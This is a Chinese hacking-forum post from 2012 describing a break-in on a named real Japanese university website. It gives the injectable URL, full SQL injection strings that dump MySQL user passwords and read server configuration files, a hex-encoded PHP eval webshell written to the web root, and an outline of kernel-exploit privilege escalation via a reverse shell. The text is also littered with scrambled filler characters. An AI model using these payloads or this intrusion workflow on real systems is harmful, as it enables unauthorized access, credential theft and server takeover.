找回密码
 立即注册
查看: 3082|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
# R5 z' |% p8 s/ `+ `8 ?
! Z/ G: I1 A7 S3 |" ]: v/ Yhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
" k/ E# @: y& V; \+ J' ~* l! @: U然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:. D9 Z1 j% W. v; }3 D. r

- \8 c" R2 U6 J0 h, Ohttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
1 e3 [) R1 H6 O" l. L- u  z; ~% [% Q, O
) l7 x4 O6 \* h4 i; ^

$ n: r/ X) |8 c//@@datadir为数据库文件路径
& |$ i$ Q. g7 _. E
& S$ J: J1 H& \2 \2 d3 k" |  i& Q8 ~2 h& A2 r2 _$ m& h
//load_file读取网站容器apache的配置文件
& d3 I1 q9 C/ c% k* D
/ A  I$ }, d3 o% ?: I+ L" z% F
2 s9 Y, D5 [; \6 Y//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 0 x% F% ~; x/ A
复制代码8 _/ z+ Q" W1 B9 {' a

" w( x0 t$ D% z* M$ x8 g7 n( Q5 U虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
' V) F- z9 h0 w( K. z" H" H
( P8 u8 W) ^& i6 D而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。5 s) A' O& _/ L: @, @! q
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
: r0 y$ N3 U; {- @0 e1 }2 S" n: ^! p5 S( H
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。1 a1 D" ~. E7 h5 L4 Y5 q
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
9 L* P6 h/ r# T2 T3 D$ b) B% z  {
; Q) y7 |; i* ?3 k- r/ T既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
8 n; Z6 {7 i) w4 K) K2 L2 Z  n* _2 T5 k- N虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。. K5 z8 ], R; `) b
直接写一句话:& U+ H0 V' k) Q5 K, }/ A

$ E$ P6 q( {' A9 c3 Jhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
9 |# E- _* X1 V3 f# \' h3 l  e' s- h% l5 Z
5 l/ v; U* H. u: W1 a8 K& j4 E
% i  C, V+ O6 h- Z3 p
//最后的#是为了闭合前面的语句
5 ?7 ?/ P1 k, @8 a4 p5 @. v
8 v2 g$ v& ~( Z: f2 n8 I
- ?& Y5 Z" E/ u' v4 ~2 G0 ^! N/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E   E4 |6 D& y3 g  `
5 A% u  j/ ~/ d
6 P4 Q4 i# X" p' \
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
" T0 N3 K6 a# [7 G' T! [' x " f6 u2 T+ ?/ @
# ^. ^4 R: u  o4 n/ Y2 {
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 ! X" Y7 {  N* w4 h" E

. n2 H- G" X/ [5 Q& ~0 E1 \" N
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
/ p! C2 S% y; A8 Y//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
" L4 \  P$ V1 s* _0 j& Q复制代码
8 W- ~# Y9 q) b/ X; h* H4 x8 ^: N& Z
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有- [( ?4 N$ A8 j  L: w6 X
通过上述注入语句,我们就得到了一句话木马:2 i& U' x$ \2 o/ g6 A+ t4 U: K
+ @. B! z; v2 x9 u; S8 j% g. m" X8 n
/ H. O) [, p7 y  d. z

0 B( C7 @8 x) V
) o* r5 n) [' c' O/ X3 Q9 q% [5 p, ?; R* j; }- J
http://www.doshisha.ac.jp/english/engnews_img/aa.php 1 `/ n8 e; n; r5 B" w+ S0 w  b
复制代码1 F3 \6 f. ?: H! o0 j0 v

% @4 l7 w' Y( |: W. y/ V用菜刀连接,密码是cmd,如图所示:9 J* b1 M% S3 m! N4 B: f
然后在命令提示行里看了一下,现在的权限是:; P/ {- i: H1 j; P. Q8 C

4 R9 u2 z6 A# }/ x之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
+ t9 R" E0 K- J3 m! f好在赋权给这个文件夹不需要root,直接执行赋权语句:
3 S2 G# n) t8 l5 i) S- g# w+ y& B. r: ^/ _
" g: d' _" e  ^" i
5 L2 Y. L+ I" g6 H: G

! k6 K5 ?6 n5 r9 f/ N9 L& S! D; o6 Y* e2 J3 J' _2 [. c! p& d; ]  \
chmod +x /tmp/
( s3 n) w8 U7 D5 y% r' s! k7 O复制代码
; g% n0 ^6 ^) ~$ J  K7 T0 L: k* k7 ~( y% y% D8 h
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
. I7 T7 ^, y7 X8 V- o7 W然后就查了一下内核版本:
" X6 m* h  I7 ]# e; l6 s) x0 @' X* ]6 C; y% N

6 |0 Q$ D5 K3 W5 p6 R2 m0 M0 U3 }5 V! |  p9 d, W3 o' N% j$ v) U

* h9 x  l+ @# {2 A- b
( o& f0 T- P8 Z0 J* ?' d4 juname-a $ l% p% O9 ^5 O6 t/ {
2 q8 |" i* N/ K3 E4 o8 P

' S" Z. `% m- {6 [& ]' X; m//其实lsb_release -a # D$ ~- v1 N, i9 f! k& m
复制代码
- o! r* \# c0 f$ j9 y& ^- U& L+ C8 Z' m$ A* t' W4 }# F
如图所示:% j( ~9 t+ J1 Z9 y

+ y$ m+ s% |( m3 E+ x. C内核版本:linux mainz1 2.6.28-194.e15
1 h. y/ _8 D, e3 j  d7 ]/ K; b& o系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
1 P% h/ ?- |+ R$ I2 x" d查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
  @% Z( \( d' S6 N; ^1 L4 T# ~1 x% W! U& T2 _( i. d
然后给予执行权限* R+ |; [  r/ }/ B
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样/ l- I- l6 g3 ]* i. u7 d4 K
2 x# x+ B! l. s" d7 S0 ~
) v* x/ M8 O0 v' A
/ c9 s3 P; a1 f2 `. z" S, G# y
/ x3 z1 ~! u. b- i3 L

5 ]6 k% g2 h( ^& `chmod +x /tmp/2.6.18-194 7 X7 _) {8 F) q3 W% f; U4 {8 k
复制代码 然后直接执行!~' x: @7 w* y* Y+ p$ x

, d- p1 Y; j7 C- ]' z! t' u2 u总结:$ J# D/ r# Y3 m+ x
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了/ F; R' J' v" ?) `7 _. E
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root/ K! M" }/ A, Z" k* O4 d

, _$ ^/ r& e2 n/ L% A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表